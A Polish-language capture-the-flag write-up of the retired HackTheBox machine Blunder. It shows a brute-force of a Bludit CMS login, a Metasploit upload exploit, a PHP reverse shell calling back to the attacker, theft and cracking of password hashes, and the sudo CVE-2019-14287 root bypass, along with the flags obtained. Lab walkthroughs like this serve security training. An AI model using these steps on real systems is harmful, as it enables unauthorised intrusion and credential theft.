Writeup: Maszyna HackTheBox Blunder
Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Blunder - spełnia ten warunek.1. TLDR
2. Przygotowanie
Przygotowałem przydatne zmienne:
export IP=10.10.10.191
3. Skanowanie i rozpoznanie
Na początku uruchomiłem agresywne skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.
74wny0wl@whitehatlab$ nmap -A -Pn -n -oN nmap/01-initial.txt -T4 $IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-05 11:37 CDT
Nmap scan report for 10.10.10.191
Host is up (0.041s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Blunder | A blunder of interesting facts
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.20 seconds
Na serwerze był uruchomiony serwer http. Uruchomiłem więc narzędzie gobuster:
t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
Wynik skanowania przedstawiłem poniżej:
t4wny0wl@whitehatlab$ cat gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.191
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/07/05 12:15:00 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/usb (Status: 200)
/LICENSE (Status: 200)
/server-status (Status: 403)
/%3FRID%3D2671 (Status: 200)
===============================================================
2020/07/06 08:14:02 Finished
===============================================================
Kolejne narzędzie, który uruchomiłem to nikto:
t4wny0wl@whitehatlab$ nikto -h $IP -nossl | tee nikto/01-initial.txt
Wynik skanowania przedstawiłem poniżej:
t4wny0wl@whitehatlab$ cat nikto/01-initial.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.191
+ Target Hostname: 10.10.10.191
+ Target Port: 80
+ Start Time: 2020-07-05 12:39:34 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Bludit
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /admin/config.php: PHP Config file may contain database IDs and passwords.
+ Scan terminated: 9 error(s) and 7 item(s) reported on remote host
+ End Time: 2020-07-05 13:56:28 (GMT-5) (4614 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nagłówek HTTP x-powered-by
zdradził, że strona jest zarządzana przez CMS Bludit. Potwierdziłem ten fakt odwiedzając stronę http://10.10.10.191/admin/, gdzie widoczny był panel logowania do CMS:
Szybka analiza źródła strony z panelem logowania dostarczyła informacji, że wykorzystywana wersja systemu Bludit to 3.9.2:
4. Uzyskanie dostępu
Szybkie przeszukanie bazy exploitdb zwróciło trzy istniejące exploity:
t4wny0wl@whitehatlab$ searchsploit bludit
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Bludit - Directory Traversal Image File Upload (Metasploit) | php/remote/47699.rb
Bludit 3.9.12 - Directory Traversal | php/webapps/48568.py
bludit Pages Editor 3.0.0 - Arbitrary File Upload | php/webapps/46060.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Niestety do ich działania jest wymagane posiadanie konta w systemie CMS.
Bludit jest systemem CMS napisanym w PHP. Uruchomiłem więc jeszcze raz narzędzie gobuster, tym razem uwzględniając m.in. pliki php:
t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,htm,txt | tee gobuster/02-php.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.191
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: htm,txt,php,html
[+] Timeout: 10s
===============================================================
2020/07/06 11:35:57 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/t (Status: 200)
/install.php (Status: 200)
/empty (Status: 200)
/robots.txt (Status: 200)
/todo.txt (Status: 200)
/usb (Status: 200)
/LICENSE (Status: 200)
===============================================================
2020/07/06 15:38:51 Finished
===============================================================
Wśród nowych wyników pojawił się zasób /todo.txt
:
Z pozostawionej notatki dowiedziałem się, że jednym z twórców strony jest osoba o imieniu Fergus.
Ale jak zdobyć dostęp do jakiegokolwiek konta…? Setki prób, zero rezultatów. Wreszcie skończyły mi się pomysły: może jest jakakolwiek wskazówka na forum HTB? Tam trafiłem na post:
Niech będzie: postanowiłem, że walczę dalej. Narzędziem cewl, na podstawie słów dostępnych na stronie internetowej, zbudowałem słownik możliwych haseł:
t4wny0wl@whitehatlab$ cewl -w dicts/01-wordlist.txt -d 10 -m 1 http://10.10.10.191
Następnie ręcznie zbudowałem słownik możliwych nazw użytkowników:
admin
Admin
administrator
Administrator
root
Fergus
fergus
Ostatecznie przystąpiłem do pisania narzędzia do łamania haseł w systemie CMS Bludit, które nazwałem bluditcracker:
t4wny0wl@whitehatlab$ ./bluditcracker.py -t http://10.10.10.191 -U users.txt -P ../dicts/01-wordlist.txt
...
2020-07-06 16:30:31 - INFO - Trying fergus:RolandDeschain
2020-07-06 16:30:32 - INFO - Credentials have been found => fergus:RolandDeschain
Po bardzo długim czasie oczekiwania, wynikającym z konieczności omijania blokady zabezpieczającej przed atakami brutalnymi, uzyskałem dostęp do CMS z wykorzystaniem danych uwierzytelniających fergus:RolandDeschain
Przeszedłem więc w przeglądarce na adres panelu CMS http://10.10.10.191/admin/login
i wprowadziłem dane logowania. Uzyskałem dostęp do panelu administratora:
Z wyników wyszukiwania zwróconych przez narzędzie searchsploit było już wiadomo, że w wykorzystywanej wersji Blutdit (3.9.2) istnieje podatność polegająca na tym, że zdalny użytkownik może przesłać na serwer dowolny plik. Ostatecznie eksploitacja pozwala uzyskać zdalne wykonanie kodu.
Uruchomiłem więc narzędzie Metasploit:
t4wny0wl@whitehatlab$ msfconsole -q
msf5 > search bludit
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/bludit_upload_images_exec 2019-09-07 excellent Yes Bludit Directory Traversal Image File Upload Vulnerability
msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191
RHOSTS => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > run
[*] Started reverse TCP handler on 10.10.15.40:4444
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading MqTsMakuYL.png...
[*] Uploading .htaccess...
[*] Executing MqTsMakuYL.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.15.40:4444 -> 10.10.10.191:47806) at 2020-07-07 07:59:02 -0500
[+] Deleted .htaccess
meterpreter >
5. Utrzymanie dostępu
W celu utrzymania dostępu do systemu, przygotowałem własny webshell:
t4wny0wl@whitehatlab$ cp /usr/share/webshells/php/php-reverse-shell.php ./
W pliku php-reverse-shell.php
zainicjalizowałem zmienne $ip i $port:
$ip = '10.10.15.40'; // CHANGE THIS
$port = 5555; // CHANGE THIS
Następnie przesłałem na serwer plik php-reverse-shell.php, wykorzystując do tego celu meterpreter:
meterpreter > pwd
/var/www/bludit-3.9.2/bl-content/tmp
meterpreter > cd ../../
meterpreter > upload php-reverse-shell.php
[*] uploading : php-reverse-shell.php -> php-reverse-shell.php
[*] Uploaded -1.00 B of 5.36 KiB (-0.02%): php-reverse-shell.php -> php-reverse-shell.php
[*] uploaded : php-reverse-shell.php -> php-reverse-shell.php
Na swojej maszynie przygotowałem netcata:
t4wny0wl@whitehatlab$ nc -nvlp 5555
i odwiedziłem stronę http://10.10.10.191/php-reverse-shell.php w celu uruchomienia połączenia.
Otrzymałem dostęp do shella jako użytkownik www-data:
Zgodnie z dobrą praktyką wykonałem upgrade shella:
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
6. Eskalacja uprawnień: www-data ⇨ hugo
Na maszynie atakującego przygotowałem do wysłania skrypt linpeas.sh:
t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh ./
Wykorzystując istniejącą jeszcze sesję meterpretera, przesłałem skrypt na serwer:
meterpreter > cd /dev/shm
meterpreter > upload linpeas.sh
[*] uploading : linpeas.sh -> linpeas.sh
[*] Uploaded -1.00 B of 222.92 KiB (-0.0%): linpeas.sh -> linpeas.sh
[*] uploaded : linpeas.sh -> linpeas.sh
Następnie na zdalnej maszynie uruchomiłem skrypt linpeas.sh:
www-data@blunder:/$ cd /dev/shm
www-data@blunder:/dev/shm$ sh ./linpeas.sh | tee linpeas.txt
Analiza wyniku działania skryptu była bardzo czasochłonna. Ostatecznie skuteczną metodą okazało się wykorzystanie informacji, która pojawiła się na wyjściu standardowym po wykonaniu skryptu linpeas.sh. Dotyczyła ona istnienia katalogów
/var/www/bludit-3.9.2/bl-content/databases/
oraz
/var/www/bludit-3.10.0a/bl-content/databases/
Przeglądając wyżej wymienione katalogi znalazłem interesujące pliki
/var/www/bludit-3.9.2/bl-content/databases/users.php
oraz
/var/www/bludit-3.10.0a/bl-content/databases/users.php
Zawartość pierwszego z nich ujawniła istnienie dwóch użytkowników:
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Admin",
"firstName": "Administrator",
"lastName": "",
"role": "admin",
"password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
"salt": "5dde2887e7aca",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""
},
"fergus": {
"firstName": "",
"lastName": "",
"nickname": "",
"description": "",
"role": "author",
"password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
"salt": "jqxpjfnv",
"email": "",
"registered": "2019-11-27 13:26:44",
"tokenRemember": "6faf61f2dc20b954b78dc64f8da53b87",
"tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"codepen": "",
"instagram": "",
"github": "",
"gitlab": "",
"linkedin": "",
"mastodon": ""
}
W drugim z plików znalazłem dane trzeciego użytkownika:
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
Sprawdziłem jednocześnie zawartość pliku /etc/passwd:
www-data@blunder:/var/www/bludit-3.10.0a$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:107:114::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:108:115:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:109:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:110:116:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
kernoops:x:114:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:116:122::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:117:123:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
whoopsie:x:118:124::/nonexistent:/bin/false
colord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:120:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:121:126::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:122:127:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:123:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:124:129:Gnome Display Manager:/var/lib/gdm3:/bin/false
shaun:x:1000:1000:blunder,,,:/home/shaun:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hugo:x:1001:1001:Hugo,1337,07,08,09:/home/hugo:/bin/bash
temp:x:1002:1002:,,,:/home/temp:/bin/bash
Jednym z użytkowników systemu operacyjnego zainstalowanego na serwerze był użytkownik hugo
. Spróbowałem więc złamać jego hasło.
160-bitowy skrót hasła faca404fd5c0a31cf1897b823c695c85cffeb98d
jest prawdopodobnie wynikiem działania funkcji skrótu SHA-1. Na początek zweryfikowałem, czy skrót ten istnieje w tęczowych tablicach:
Zatem dane uwierzytelniające użytkownika hugo to hugo:Password120
www-data@blunder:/$ su hugo
Password:
hugo@blunder:/$
Pozostało odczytać flagę użytkownika:
hugo@blunder:/$ cat /home/hugo/user.txt
8487abe9592f2293a9a5d1a56625cfce
7. Eskalacja uprawnień: hugo ⇨ root
W pierwszym kroku sprawdziłem jakie programy mogę uruchomić jako root bez uwierzytelniania:
hugo@blunder:/$ sudo -l
Password:
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
Zwrócony rezultat mówił o tym, że użytkownik hugo
nie może uruchomić programu /bin/bash jako root
. Znalazłem jednak podatność CVE-2019-14287, która dotyczy programu sudo przed wersją 1.8.28. Sprawdziłem więc wersję sudo:
hugo@blunder:/$ sudo -V
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1
Wersja progamu sudo była podatna, zatem:
hugo@blunder:/$ sudo -u#-1 /bin/bash
Password:
root@blunder:/#
Pozostało tylko odczytać flagę:
root@blunder:/# cat /root/root.txt
9fe290ba69e62ebb0654ff35ea905411
8. Podsumowanie
Do zdobycia flag doprowadziły poniższe okoliczności:
- Pozostawiona notatka pozwoliła odgadnąć nazwę użytkownika systemu CMS (fergus)
- Hasło użytkownika fergus było skojarzone z treścią zawartą na stronie internetowej
- Niewystarczające zabezpieczenie przed brutalną próbą zalogowania się do panelu użytkownika w systemie CMS
- Przestarzała wersja systemu CMS posiadająca znaną podatność
- Słabe, niesolone hasło użytkownika systemu CMS (hugo)
- Użytkownik hugo posiadał to samo hasło w systemie CMS oraz systemie operacyjnym
- Przestarzała wersja sudo posiadająca znaną podatność CVE-2019-14287